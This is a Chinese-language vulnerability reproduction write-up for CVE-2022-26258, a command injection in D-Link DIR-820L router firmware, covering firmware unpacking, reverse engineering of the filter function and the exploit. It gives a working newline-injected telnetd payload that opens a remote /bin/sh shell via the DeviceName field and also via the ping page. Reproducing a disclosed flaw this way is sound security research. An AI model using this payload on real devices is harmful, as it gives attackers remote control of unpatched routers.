命令注入漏洞CVE-2022-26258复现

一

漏洞信息

◆CVE编号：CVE-2022-26258

◆漏洞描述：D-Link DIR-820L 1.05B03 was discovered to contain remote command execution (RCE) vulnerability via HTTP POST to get set ccp.

◆设备型号：D-Link DIR-820L

◆固件版本：1.05B03

◆厂商官网：http://www.dlink.com.cn/

◆固件地址：http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663

◆测试环境：Ubuntu 18.04

根据漏洞描述可得到几个关键词：远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。

二


固件分析

使用binwalk对固件解包，获取文件系统：

binwalk -Me DIR820LA1_FW105B03.bin

根据漏洞描述，查看www/lan.asp文件，并在该文件中查找DeviceName和get set ccp相关内容：

通过lan.asp源码可知在DEVICE_NAME处填入的参数会被拼接到paramStr中，然后函数copyDataToDataModelFormat将paramStr返回为提交参数传给submitParam.arg，传递的URL为get_set.ccp。这里应该是一个POST请求提交数据。在文件系统中查找一下关键词get set ccp：

grep -r "get_set"

在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件，没有“get_set.ccp”文件，这个URL应该是交给后端处理，处理好之后将结果返回给用户。但在许多asp文件中都匹配到了get_set.ccp这个URL且有四个二进制文件中也匹配到了这个URL：

Binary file ./squashfs-root/bin/smbd matches
Binary file ./squashfs-root/bin/flash matches
Binary file sbin/ncc2 matches
Binary file lib/libapmib.so matches

◆bin/smbd程序是Samba服务器的一部分，它允许路由器用户与Windows客户端共享文件和打印机。Samba服务器是一个开源软件，它实现了SMB/CIFS协议，这是Windows操作系统使用的文件和打印机共享协议。bin/smbd程序是Samba服务器的核心组件之一，它提供了文件和打印机共享的功能。

◆bin/flash程序允许用户升级路由器固件，以获取最新的功能和安全补丁。它还可以用于还原路由器的出厂设置，以便在出现问题时恢复路由器的正常运行。

◆sbin/ncc2程序主要用于配置路由器的网络设置和管理路由器的各种功能。通过ncc2程序，用户可以轻松地设置无线网络、防火墙、端口转发等功能，使路由器的使用更加便捷和高效。

◆lib/libapmib.so是D-Link路由器系统中的一个库文件，它包含了许多重要的API和函数，用于实现路由器的各种功能。用户可以通过调用这些API和函数来访问和配置路由器的网络设置、无线网络、防火墙、端口转发等功能。

模拟成功后访问http://192.168.0.1,默认无密码，直接点击Log In即可。

访问http://192.168.0.1/lan.asp：

点击Save Settings 并通过burpsuite抓包查看：

DeviceName和页面内的其他数据被拼接到一起并POST给/get_set.ccp。根据上述信息逆向分析一下和网络相关且含get_set字符串的ncc2程序。

查找一下关键字“Device Name”。通过对比、分析最终定位到如下代码：

通过分析可知这段代码的功能是：获取Obj并判断Obj是否为含注入的字符串（hasInjectionString），如果有注入则释放Obj并退出，若没有注入则将Obj传给_system函数处理。hasInjectionString和_system函数都是导入函数。在文件系统中搜索一这两个函数字符串，找到了一个库文件：lib/libleopard.so。

用IDA逆向分析libleopard.so文件，并直接去导出函数中定位hasInjectionString和_system：

通过伪代码可知过滤的字符仅5种，过滤不完全，因此我们可以使用其他字符比如换行(%0a)来注入执行命令。

_system函数的功能是拼接字符串并执行。

三

漏洞复现

固件模拟并抓包修改lanHostCfg_DeviceName_1.1.1.0=后的数据为：

lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a

含义为：启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。以下是每个选项的解释：

使用nc连接7080端口获得shell：

上述是根据CVE漏洞披露的信息所做出的复现。实际在复现过程中发现不仅仅是通过HTTP POST to get set ccp存在远程命令执行。

由于是因为字符串过滤不完全导致的命令注入，可以猜想所有HTTP POST且有可能执行的地方都可能存在这个漏洞。在路由后台中发现有一个ping测试页面：

通过抓包改包测试，发现同样存在RCE漏洞，且该漏洞并非存在于CVE所描述的get set ccp而是ping ccp。

在进一步测试中发现直接在ping处输入%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a即可获得shell：

四

复现总结

在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同，2022年的描述更具体，2023的变得模糊一些。刚开始以为是为了保护厂商，避免提示太明显容易被利用。后来在复现过程中发现应该是后续被验证漏洞点不仅仅是/lan.jsp页面、Device Name 参数，其他参数也存在同样的漏洞，所以2023的描述范围扩大为HTTP POST 的get set ccp。如果是这样那么现在发现不仅是get set ccp中存在漏洞点，ping ccp中同样存在。顺便提一下，去厂商的网站查了一下漏洞补丁，在补丁中hasInjectionString的过滤内容修改为:

参考文章

◆D-Link CVE-2022-26258 命令注入- IOTsec-Zone物联网安全社区

（https://www.iotsec-zone.com/article?id=123）

◆CVE-2022-26258 命令执行漏洞 | Hexo (unrav31.github.io)

（https://unrav31.github.io/2022/04/25/cve-2022-26258-ming-ling-zhi-xing-lou-dong/#!）

◆D-Link CVE-2022-26258 命令注入 - 庄周恋蝶蝶恋花 - 博客园 (cnblogs.com)

（https://www.cnblogs.com/zhuangzhouQAQ/p/16219690.html）

球分享

球点赞

球在看

原文始发于微信公众号（看雪学苑）：命令注入漏洞CVE-2022-26258复现